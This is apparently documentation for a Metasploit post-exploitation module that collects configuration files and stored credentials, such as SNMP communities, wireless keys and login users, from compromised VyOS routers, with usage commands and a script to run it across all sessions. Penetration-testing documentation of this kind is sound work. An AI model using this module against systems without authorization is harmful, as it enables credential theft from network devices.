Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/networking/gather/enum_vyos

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/networking/gather/enum_vyos
msf post(enum_vyos) > show options
    ... show and set options ...
msf post(enum_vyos) > set SESSION session-id
msf post(enum_vyos) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/networking/gather/enum_vyos")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This module has been tested on the following hardware/OS combinations.

  • VyOS 1.1.8
  • VyOS 1.3 (reconfigured to allow ssh password login)

The images are available from VyOS here

This module runs the following commands to gather data:

  • equivalent of show version
  • cat /config/config
  • cat /config/config.boot

This module will look for the follow parameters which contain credentials:

  • snmp community
  • wireless
  • login user

Verification Steps


  1. Start msfconsole
  2. Get a shell
  3. Do: use post/networking/gather/enum_vyos
  4. Do: set session [id]
  5. Do: set verbose true
  6. Do: run
